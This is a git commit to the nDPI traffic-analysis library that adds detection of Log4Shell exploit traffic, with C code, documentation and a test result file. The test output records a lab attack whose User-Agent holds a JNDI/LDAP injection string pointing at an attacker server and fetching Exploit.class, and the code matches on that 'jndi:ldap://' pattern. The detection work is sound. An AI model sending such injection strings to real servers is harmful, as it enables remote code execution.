aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorLuca Deri <deri@ntop.org>2021-12-23 21:30:16 +0100
committerLuca Deri <deri@ntop.org>2021-12-23 21:30:16 +0100
commitc4ac53a03fa1fbfd5a5d7fea507cfcbe5b307914 (patch)
treedcf5ab420ea7c835b1eb5eaf4be718d2f257a81b
parentfdb6481cd6d019651faea6cdd962db099cbf20a3 (diff)
Added support for Log4J/Log4Shell detection in nDPI via a new flow risk named NDPI_POSSIBLE_EXPLOIT
-rw-r--r--doc/flow_risks.rst6
-rw-r--r--python/ndpi.py2
-rw-r--r--src/include/ndpi_main.h2
-rw-r--r--src/include/ndpi_typedefs.h1
-rw-r--r--src/lib/ndpi_main.c1
-rw-r--r--src/lib/ndpi_utils.c13
-rw-r--r--src/lib/protocols/http.c100
-rw-r--r--tests/pcap/log4j-webapp-exploit.pcapbin0 -> 41634 bytes
-rw-r--r--tests/result/log4j-webapp-exploit.pcap.out18
-rw-r--r--wireshark/ndpi.lua1
10 files changed, 106 insertions, 38 deletions
diff --git a/doc/flow_risks.rst b/doc/flow_risks.rst
index e4546307e..417426e48 100644
--- a/doc/flow_risks.rst
+++ b/doc/flow_risks.rst
@@ -241,3 +241,9 @@ NDPI_INVALID_CHARACTERS
The risk is set whenever a dissected protocol contains characters not allowed in that protocol field.
For example a DNS hostname must only contain a subset of all printable characters or else this risk is set.
Additionally, some TLS protocol fields are checked for printable characters as well.
+
+.. _Risk 040:
+
+NDPI_POSSIBLE_EXPLOIT
+=====================
+The risk is set whenever a a possible exploit (e.g. Log4J/Log4Shell) is detected.
diff --git a/python/ndpi.py b/python/ndpi.py
index d3a1f6389..6990ab03f 100644
--- a/python/ndpi.py
+++ b/python/ndpi.py
@@ -330,6 +330,8 @@ typedef enum {
NDPI_CLEAR_TEXT_CREDENTIALS,
NDPI_DNS_LARGE_PACKET,
NDPI_DNS_FRAGMENTED,
+ NDPI_INVALID_CHARACTERS,
+ NDPI_POSSIBLE_EXPLOIT,
/* Leave this as last member */
NDPI_MAX_RISK
diff --git a/src/include/ndpi_main.h b/src/include/ndpi_main.h
index 753c2da8c..cceb45c85 100644
--- a/src/include/ndpi_main.h
+++ b/src/include/ndpi_main.h
@@ -145,6 +145,8 @@ extern "C" {
u_int8_t * nxt_hdr);
void ndpi_set_risk(struct ndpi_detection_module_struct *ndpi_str,
struct ndpi_flow_struct *flow, ndpi_risk_enum r);
+ int ndpi_isset_risk(struct ndpi_detection_module_struct *ndpi_str,
+ struct ndpi_flow_struct *flow, ndpi_risk_enum r);
int ndpi_is_printable_string(char * const str, size_t len);
#define NDPI_ENTROPY_ENCRYPTED_OR_RANDOM(entropy) (entropy > 7.0f)
float ndpi_entropy(u_int8_t const * const buf, size_t len);
diff --git a/src/include/ndpi_typedefs.h b/src/include/ndpi_typedefs.h
index d7748ad8b..93321467c 100644
--- a/src/include/ndpi_typedefs.h
+++ b/src/include/ndpi_typedefs.h
@@ -115,6 +115,7 @@ typedef enum {
NDPI_DNS_LARGE_PACKET,
NDPI_DNS_FRAGMENTED,
NDPI_INVALID_CHARACTERS,
+ NDPI_POSSIBLE_EXPLOIT, /* Log4J and other exploits */
/* Leave this as last member */
NDPI_MAX_RISK /* must be <= 63 due to (**) */
diff --git a/src/lib/ndpi_main.c b/src/lib/ndpi_main.c
index 7e1829b22..84c32d79b 100644
--- a/src/lib/ndpi_main.c
+++ b/src/lib/ndpi_main.c
@@ -108,6 +108,7 @@ static ndpi_risk_info ndpi_known_risks[] = {
{ NDPI_DNS_LARGE_PACKET, NDPI_RISK_MEDIUM, CLIENT_FAIR_RISK_PERCENTAGE },
{ NDPI_DNS_FRAGMENTED, NDPI_RISK_MEDIUM, CLIENT_FAIR_RISK_PERCENTAGE },
{ NDPI_INVALID_CHARACTERS, NDPI_RISK_HIGH, CLIENT_HIGH_RISK_PERCENTAGE },
+ { NDPI_POSSIBLE_EXPLOIT, NDPI_RISK_SEVERE, CLIENT_HIGH_RISK_PERCENTAGE },
/* Leave this as last member */
{ NDPI_MAX_RISK, NDPI_RISK_LOW, CLIENT_FAIR_RISK_PERCENTAGE }
diff --git a/src/lib/ndpi_utils.c b/src/lib/ndpi_utils.c
index e24405d73..47c4db1f0 100644
--- a/src/lib/ndpi_utils.c
+++ b/src/lib/ndpi_utils.c
@@ -1833,6 +1833,10 @@ const char* ndpi_risk2str(ndpi_risk_enum risk) {
case NDPI_INVALID_CHARACTERS:
return("Text contains non-printable characters");
+ case NDPI_POSSIBLE_EXPLOIT:
+ return("Possible exploit detected");
+ break;
+
default:
snprintf(buf, sizeof(buf), "%d", (int)risk);
return(buf);
@@ -2172,6 +2176,15 @@ void ndpi_set_risk(struct ndpi_detection_module_struct *ndpi_str,
/* ******************************************************************** */
+int ndpi_isset_risk(struct ndpi_detection_module_struct *ndpi_str,
+ struct ndpi_flow_struct *flow, ndpi_risk_enum r) {
+ ndpi_risk v = 1ull << r;
+
+ return(((flow->risk & v) == v) ? 1 : 0);
+}
+
+/* ******************************************************************** */
+
int ndpi_is_printable_string(char * const str, size_t len) {
int retval = 1;
diff --git a/src/lib/protocols/http.c b/src/lib/protocols/http.c
index b2116a8fe..45252538d 100644
--- a/src/lib/protocols/http.c
+++ b/src/lib/protocols/http.c
@@ -30,6 +30,7 @@
#include "ndpi_api.h"
static const char* binary_file_mimes_e[] = { "exe", NULL };
+static const char* binary_file_mimes_j[] = { "java-vm", NULL };
static const char* binary_file_mimes_v[] = { "vnd.ms-cab-compressed", "vnd.microsoft.portable-executable", NULL };
static const char* binary_file_mimes_x[] = { "x-msdownload", "x-dosexec", NULL };
@@ -58,7 +59,7 @@ static void ndpi_set_binary_application_transfer(struct ndpi_detection_module_st
if(ndpi_ends_with((char*)flow->host_server_name, ".windowsupdate.com"))
;
else
- ndpi_set_risk(ndpi_struct, flow, NDPI_BINARY_APPLICATION_TRANSFER);
+ ndpi_set_risk(ndpi_struct, flow, NDPI_BINARY_APPLICATION_TRANSFER);
}
/* *********************************************** */
@@ -66,7 +67,7 @@ static void ndpi_set_binary_application_transfer(struct ndpi_detection_module_st
static void ndpi_analyze_content_signature(struct ndpi_detection_module_struct *ndpi_struct,
struct ndpi_flow_struct *flow) {
u_int8_t set_risk = 0;
-
+
if((flow->initial_binary_bytes_len >= 2) && (flow->initial_binary_bytes[0] == 0x4D) && (flow->initial_binary_bytes[1] == 0x5A))
set_risk = 1; /* Win executable */
else if((flow->initial_binary_bytes_len >= 4) && (flow->initial_binary_bytes[0] == 0x7F) && (flow->initial_binary_bytes[1] == 'E')
@@ -106,8 +107,8 @@ static int ndpi_search_http_tcp_again(struct ndpi_detection_module_struct *ndpi_
&& (flow->http.response_status_code != 0)
) {
/* stop extra processing */
-
if(flow->initial_binary_bytes_len) ndpi_analyze_content_signature(ndpi_struct, flow);
+
flow->extra_packets_func = NULL; /* We're good now */
return(0);
}
@@ -148,7 +149,7 @@ static void ndpi_http_check_human_redeable_content(struct ndpi_detection_module_
&& (content[3] == 0x00)) {
/* Looks like compressed data */
} else
- ndpi_set_risk(ndpi_struct, flow, NDPI_HTTP_SUSPICIOUS_CONTENT);
+ ndpi_set_risk(ndpi_struct, flow, NDPI_HTTP_SUSPICIOUS_CONTENT);
}
}
}
@@ -162,7 +163,7 @@ static void ndpi_validate_http_content(struct ndpi_detection_module_struct *ndpi
NDPI_LOG_DBG(ndpi_struct, "==>>> [len: %u] ", packet->payload_packet_len);
NDPI_LOG_DBG(ndpi_struct, "->> %.*s\n", packet->content_line.len, (const char *)packet->content_line.ptr);
-
+
if(double_ret) {
u_int len;
@@ -175,14 +176,31 @@ static void ndpi_validate_http_content(struct ndpi_detection_module_struct *ndpi
/* This is supposed to be a human-readeable text file */
packet->http_check_content = 1;
-
+
if(len >= 8 /* 4 chars for \r\n\r\n and at least 4 charts for content guess */) {
double_ret += 4;
-
+
ndpi_http_check_human_redeable_content(ndpi_struct, flow, double_ret, len);
}
}
+ /* Final checks */
+
+ if(ndpi_isset_risk(ndpi_struct, flow, NDPI_BINARY_APPLICATION_TRANSFER)
+ && flow->http.user_agent && flow->http.content_type) {
+ if(((strncmp((const char *)flow->http.user_agent, "Java/", 5) == 0))
+ &&
+ ((strcmp((const char *)flow->http.content_type, "application/java-vm") == 0))
+ ) {
+ /*
+ Java downloads Java: Log4J:
+ https://corelight.com/blog/detecting-log4j-exploits-via-zeek-when-java-downloads-java
+ */
+
+ ndpi_set_risk(ndpi_struct, flow, NDPI_POSSIBLE_EXPLOIT);
+ }
+ }
+
NDPI_LOG_DBG(ndpi_struct, "\n");
}
}
@@ -204,13 +222,13 @@ static ndpi_protocol_category_t ndpi_http_check_content(struct ndpi_detection_mo
if(strncasecmp(app, "mpeg", app_len_avail) == 0) {
flow->guessed_category = flow->category = NDPI_PROTOCOL_CATEGORY_STREAMING;
return(flow->category);
- } else {
+ } else {
if(app_len_avail > 3) {
const char** cmp_mimes = NULL;
switch(app[0]) {
case 'b': cmp_mimes = download_file_mimes_b; break;
- case 'o': cmp_mimes = download_file_mimes_o; break;
+ case 'o': cmp_mimes = download_file_mimes_o; break;
case 'x': cmp_mimes = download_file_mimes_x; break;
}
@@ -227,9 +245,10 @@ static ndpi_protocol_category_t ndpi_http_check_content(struct ndpi_detection_mo
}
/* ***************************************** */
-
+
switch(app[0]) {
- case 'e': cmp_mimes = binary_file_mimes_e; break;
+ case 'e': cmp_mimes = binary_file_mimes_e; break;
+ case 'j': cmp_mimes = binary_file_mimes_j; break;
case 'v': cmp_mimes = binary_file_mimes_v; break;
case 'x': cmp_mimes = binary_file_mimes_x; break;
}
@@ -241,7 +260,7 @@ static ndpi_protocol_category_t ndpi_http_check_content(struct ndpi_detection_mo
if(strncasecmp(app, cmp_mimes[i], app_len_avail) == 0) {
flow->guessed_category = flow->category = NDPI_PROTOCOL_CATEGORY_DOWNLOAD_FT;
ndpi_set_binary_application_transfer(ndpi_struct, flow);
- NDPI_LOG_INFO(ndpi_struct, "found executable HTTP transfer");
+ NDPI_LOG_INFO(ndpi_struct, "Found executable HTTP transfer");
return(flow->category);
}
}
@@ -324,7 +343,7 @@ static void ndpi_int_http_add_connection(struct ndpi_detection_module_struct *nd
(flow->detected_protocol_stack[1] != NDPI_PROTOCOL_UNKNOWN) ?
flow->detected_protocol_stack[1] : NDPI_PROTOCOL_HTTP
);
-
+
/* This is necessary to inform the core to call this dissector again */
flow->check_extra_packets = 1;
flow->max_extra_packets_to_check = 8;
@@ -370,9 +389,8 @@ static void setHttpUserAgent(struct ndpi_detection_module_struct *ndpi_struct,
/* Good reference for future implementations:
* https://github.com/ua-parser/uap-core/blob/master/regexes.yaml */
- if(flow->http.detected_os == NULL) {
- flow->http.detected_os = ndpi_strdup(ua);
- }
+ if(flow->http.detected_os == NULL)
+ flow->http.detected_os = ndpi_strdup(ua);
}
/* ************************************************************* */
@@ -383,7 +401,7 @@ static void ndpi_http_parse_subprotocol(struct ndpi_detection_module_struct *ndp
char *double_col = strchr((char*)flow->host_server_name, ':');
if(double_col) double_col[0] = '\0';
-
+
if(ndpi_match_hostname_protocol(ndpi_struct, flow,
flow->detected_protocol_stack[1],
flow->host_server_name,
@@ -403,6 +421,8 @@ static void ndpi_http_parse_subprotocol(struct ndpi_detection_module_struct *ndp
static void ndpi_check_user_agent(struct ndpi_detection_module_struct *ndpi_struct,
struct ndpi_flow_struct *flow,
char *ua) {
+ int log4j_exploit = -1;
+
if((!ua) || (ua[0] == '\0')) return;
if((strlen(ua) < 4)
@@ -410,17 +430,20 @@ static void ndpi_check_user_agent(struct ndpi_detection_module_struct *ndpi_stru
|| (!strncmp(ua, "<?", 2))
|| strchr(ua, '{')
|| strchr(ua, '}')
+ || (!(log4j_exploit = strncmp(ua, "jndi:ldap://", 12))) /* Log4J */
// || ndpi_check_dga_name(ndpi_struct, NULL, ua, 0)
// || ndpi_match_bigram(ndpi_struct, &ndpi_struct->impossible_bigrams_automa, ua)
) {
ndpi_set_risk(ndpi_struct, flow, NDPI_HTTP_SUSPICIOUS_USER_AGENT);
+
+ if(log4j_exploit == 0) /* Log4J exploit */
+ ndpi_set_risk(ndpi_struct, flow, NDPI_POSSIBLE_EXPLOIT);
}
}
int http_process_user_agent(struct ndpi_detection_module_struct *ndpi_struct,
struct ndpi_flow_struct *flow,
- const u_int8_t *ua_ptr, u_int16_t ua_ptr_len)
-{
+ const u_int8_t *ua_ptr, u_int16_t ua_ptr_len) {
/**
Format examples:
Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) ....
@@ -508,7 +531,7 @@ static void ndpi_check_numeric_ip(struct ndpi_detection_module_struct *ndpi_stru
if((double_dot = strchr(buf, ':')) != NULL)
double_dot[0] = '\0';
-
+
ip_addr.s_addr = inet_addr(buf);
if(strcmp(inet_ntoa(ip_addr), buf) == 0)
ndpi_set_risk(ndpi_struct, flow, NDPI_HTTP_NUMERIC_IP_HOST);
@@ -551,8 +574,8 @@ static void check_content_type_and_change_protocol(struct ndpi_detection_module_
if(flow->detected_protocol_stack[0] == NDPI_PROTOCOL_HTTP_CONNECT) {
strncpy(flow->http.url, (char*)packet->http_url_name.ptr,
- packet->http_url_name.len);
-
+ packet->http_url_name.len);
+
flow->http.url[packet->http_url_name.len] = '\0';
} else {
/* Check if we pass through a proxy (usually there is also the Via: ... header) */
@@ -568,10 +591,10 @@ static void check_content_type_and_change_protocol(struct ndpi_detection_module_
packet->http_url_name.len);
offset += packet->http_url_name.len;
}
-
+
flow->http.url[offset] = '\0';
}
-
+
ndpi_check_http_url(ndpi_struct, flow, &flow->http.url[packet->host_line.len]);
}
@@ -585,7 +608,7 @@ static void check_content_type_and_change_protocol(struct ndpi_detection_module_
NDPI_CLR_BIT(flow->risk, NDPI_KNOWN_PROTOCOL_ON_NON_STANDARD_PORT);
}
}
-
+
if(packet->user_agent_line.ptr != NULL && packet->user_agent_line.len != 0) {
ret = http_process_user_agent(ndpi_struct, flow, packet->user_agent_line.ptr, packet->user_agent_line.len);
/* TODO: Is it correct to avoid setting ua, host_name,... if we have a (Netflix) subclassification? */
@@ -696,7 +719,7 @@ static void check_content_type_and_change_protocol(struct ndpi_detection_module_
/* Request */
if((flow->http.request_content_type == NULL) && (packet->content_line.len > 0)) {
int len = packet->content_line.len + 1;
-
+
flow->http.request_content_type = ndpi_malloc(len);
if(flow->http.request_content_type) {
strncpy(flow->http.request_content_type, (char*)packet->content_line.ptr,
@@ -708,18 +731,18 @@ static void check_content_type_and_change_protocol(struct ndpi_detection_module_
/* Response */
if((flow->http.content_type == NULL) && (packet->content_line.len > 0)) {
int len = packet->content_line.len + 1;
-
+
flow->http.content_type = ndpi_malloc(len);
if(flow->http.content_type) {
strncpy(flow->http.content_type, (char*)packet->content_line.ptr,
packet->content_line.len);
flow->http.content_type[packet->content_line.len] = '\0';
-
+
flow->guessed_category = flow->category = ndpi_http_check_content(ndpi_struct, flow);
}
}
- }
-
+ }
+
if(flow->http_detected && packet->content_line.ptr && *(char*)packet->content_line.ptr) {
/* Matching on Content-Type.
OCSP: application/ocsp-request, application/ocsp-response
@@ -731,14 +754,15 @@ static void check_content_type_and_change_protocol(struct ndpi_detection_module_
}
}
- if (ndpi_get_http_method(ndpi_struct, flow) != NDPI_HTTP_METHOD_UNKNOWN)
- ndpi_int_http_add_connection(ndpi_struct, flow, flow->detected_protocol_stack[0], NDPI_PROTOCOL_CATEGORY_WEB);
+ if(ndpi_get_http_method(ndpi_struct, flow) != NDPI_HTTP_METHOD_UNKNOWN) {
+ ndpi_int_http_add_connection(ndpi_struct, flow, flow->detected_protocol_stack[0], NDPI_PROTOCOL_CATEGORY_WEB);
+ }
}
/* ************************************************************* */
static void check_http_payload(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) {
- /* Add here your paylod code check */
+ /* Add here your payload code check */
}
/* ************************************************************* */
@@ -926,7 +950,7 @@ static void ndpi_check_http_tcp(struct ndpi_detection_module_struct *ndpi_struct
ndpi_http_check_human_redeable_content(ndpi_struct, flow, packet->payload, packet->payload_packet_len);
packet->http_check_content = 0; /* One packet is enough */
}
-
+
/* Check if we so far detected the protocol in the request or not. */
if((packet->payload_packet_len > 0) /* Needed in case of extra packet processing */
&& (flow->l4.tcp.http_stage == 0)) {
@@ -958,7 +982,7 @@ static void ndpi_check_http_tcp(struct ndpi_detection_module_struct *ndpi_struct
ndpi_parse_packet_line_info(ndpi_struct, flow);
check_content_type_and_change_protocol(ndpi_struct, flow);
- ndpi_validate_http_content(ndpi_struct, flow);
+ ndpi_validate_http_content(ndpi_struct, flow);
return;
}
@@ -1008,16 +1032,16 @@ static void ndpi_check_http_tcp(struct ndpi_detection_module_struct *ndpi_struct
ndpi_lru_add_to_cache(ndpi_struct->ookla_cache, packet->iph->daddr, 1 /* dummy */);
} else if(packet->iphv6 != NULL) {
u_int32_t h;
-
+
if(packet->tcp->source == htons(8080))
h = ndpi_quick_hash((unsigned char *)&packet->iphv6->ip6_src, sizeof(packet->iphv6->ip6_src));
else
h = ndpi_quick_hash((unsigned char *)&packet->iphv6->ip6_dst, sizeof(packet->iphv6->ip6_dst));
-
+
ndpi_lru_add_to_cache(ndpi_struct->ookla_cache, h, 1 /* dummy */);
}
}
-
+
return;
}
diff --git a/tests/pcap/log4j-webapp-exploit.pcap b/tests/pcap/log4j-webapp-exploit.pcap
new file mode 100644
index 000000000..62f6d9094
--- /dev/null
+++ b/tests/pcap/log4j-webapp-exploit.pcap
Binary files differ
diff --git a/tests/result/log4j-webapp-exploit.pcap.out b/tests/result/log4j-webapp-exploit.pcap.out
new file mode 100644
index 000000000..0f4eb767e
--- /dev/null
+++ b/tests/result/log4j-webapp-exploit.pcap.out
@@ -0,0 +1,18 @@
+Guessed flow protos: 2
+
+DPI Packets (TCP): 111 (15.86 pkts/flow)
+
+Unknown 356 25081 2
+HTTP 34 6741 3
+LDAP 32 2796 2
+
+ 1 TCP 172.16.238.10:48534 <-> 172.16.238.11:80 [proto: 7/HTTP][ClearText][cat: Download/7][7 pkts/692 bytes <-> 6 pkts/1964 bytes][Goodput ratio: 30/79][0.00 sec][Hostname/SNI: 172.16.238.11][bytes ratio: -0.479 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 0/0 1/1 0/0][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 99/327 276/1420 72/494][URL: 172.16.238.11/Exploit.class][StatusCode: 200][Content-Type: application/java-vm][User-Agent: Java/1.8.0_51][Risk: ** Binary application transfer **** HTTP Numeric IP Address **** Possible exploit detected **][Risk Score: 510][PLAIN TEXT (GET /Exploit.class HTTP/1.1)][Plen Bins: 0,0,0,0,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,33,0,0,0,0,0]
+ 2 TCP 172.16.238.10:48444 <-> 172.16.238.11:80 [proto: 7/HTTP][ClearText][cat: Download/7][6 pkts/624 bytes <-> 6 pkts/1964 bytes][Goodput ratio: 33/79][0.01 sec][Hostname/SNI: 172.16.238.11][bytes ratio: -0.518 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 1/2 3/3 1/1][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 104/327 276/1420 77/494][URL: 172.16.238.11/Exploit.class][StatusCode: 200][Content-Type: application/java-vm][User-Agent: Java/1.8.0_51][Risk: ** Binary application transfer **** HTTP Numeric IP Address **** Possible exploit detected **][Risk Score: 510][PLAIN TEXT (GGET /Exploit.class HTTP/1.1)][Plen Bins: 0,0,0,0,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,33,0,0,0,0,0]
+ 3 TCP 172.16.238.1:1984 <-> 172.16.238.10:8080 [proto: 7/HTTP][ClearText][cat: Web/5][5 pkts/994 bytes <-> 4 pkts/503 bytes][Goodput ratio: 65/44][19.29 sec][Hostname/SNI: 192.168.13.31][bytes ratio: 0.328 (Upload)][IAT c2s/s2c min/avg/max/stddev: 1/7 4822/6428 10256/10256 4838/4568][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 199/126 714/291 258/95][URL: 192.168.13.31:8080/log4shell/login][StatusCode: 200][Req Content-Type: application/x-www-form-urlencoded][Content-Type: text/html][User-Agent: jndi:ldap://172.16.238.11:1389/a][Risk: ** Known protocol on non standard port **** HTTP Suspicious User-Agent **** HTTP Numeric IP Address **** Possible exploit detected **][Risk Score: 410][PLAIN TEXT (POST /log)][Plen Bins: 0,0,0,0,0,0,50,0,0,0,0,0,0,0,0,0,0,0,0,0,50,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
+ 4 TCP 172.16.238.10:57650 <-> 172.16.238.11:1389 [proto: 112/LDAP][ClearText][cat: System/18][9 pkts/739 bytes <-> 8 pkts/727 bytes][Goodput ratio: 16/24][17.91 sec][bytes ratio: 0.008 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/5 2545/3580 17700/17700 6187/7060][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 82/91 137/215 22/47][Risk: ** Known protocol on non standard port **][Risk Score: 50][PLAIN TEXT (objectClass)][Plen Bins: 51,16,16,0,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
+ 5 TCP 172.16.238.10:57742 <-> 172.16.238.11:1389 [proto: 112/LDAP][ClearText][cat: System/18][9 pkts/739 bytes <-> 6 pkts/591 bytes][Goodput ratio: 16/30][0.02 sec][bytes ratio: 0.111 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/0 2/1 11/2 4/1][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 82/98 137/215 22/52][Risk: ** Known protocol on non standard port **][Risk Score: 50][PLAIN TEXT (objectClass)][Plen Bins: 51,16,16,0,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
+
+
+Undetected flows:
+ 1 TCP 172.16.238.10:55408 <-> 10.10.10.31:9001 [proto: 0/Unknown][ClearText][178 pkts/12940 bytes <-> 176 pkts/12009 bytes][Goodput ratio: 6/0][17.64 sec][bytes ratio: 0.037 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/0 65/124 7288/7288 623/831][Pkt Len c2s/s2c min/avg/max/stddev: 68/68 73/68 78/89 3/2][Plen Bins: 100,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
+ 2 TCP 172.16.238.10:55498 <-> 10.10.10.31:9001 [proto: 0/Unknown][ClearText][1 pkts/76 bytes <-> 1 pkts/56 bytes][Goodput ratio: 0/0][0.00 sec][Plen Bins: 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
diff --git a/wireshark/ndpi.lua b/wireshark/ndpi.lua
index dce26f1d9..28e4fce8e 100644
--- a/wireshark/ndpi.lua
+++ b/wireshark/ndpi.lua
@@ -78,6 +78,7 @@ flow_risks[36] = ProtoField.bool("ndpi.flow_risk.clear_text_credentials", "Cleat
flow_risks[37] = ProtoField.bool("ndpi.flow_risk.dns_large_packet", "DNS large packet", num_bits_flow_risks, nil, bit(5), "nDPI Flow Risk: DNS packet is larger than 512 bytes")
flow_risks[38] = ProtoField.bool("ndpi.flow_risk.dns_fragmented", "DNS fragmented", num_bits_flow_risks, nil, bit(6), "nDPI Flow Risk: DNS message is fragmented")
flow_risks[39] = ProtoField.bool("ndpi.flow_risk.invalid_characters", "Invalid characters", num_bits_flow_risks, nil, bit(7), "nDPI Flow Risk: Text contains non-printable characters")
+flow_risks[40] = ProtoField.bool("ndpi.flow_risk.possible_exploit", "Possible Exploit", num_bits_flow_risks, nil, bit(8), "nDPI Flow Risk: Possible exploit detected")
-- Last one: keep in sync the bitmask when adding new risks!!
flow_risks[64] = ProtoField.new("Unused", "ndpi.flow_risk.unused", ftypes.UINT32, nil, base.HEX, bit(32) - bit(8))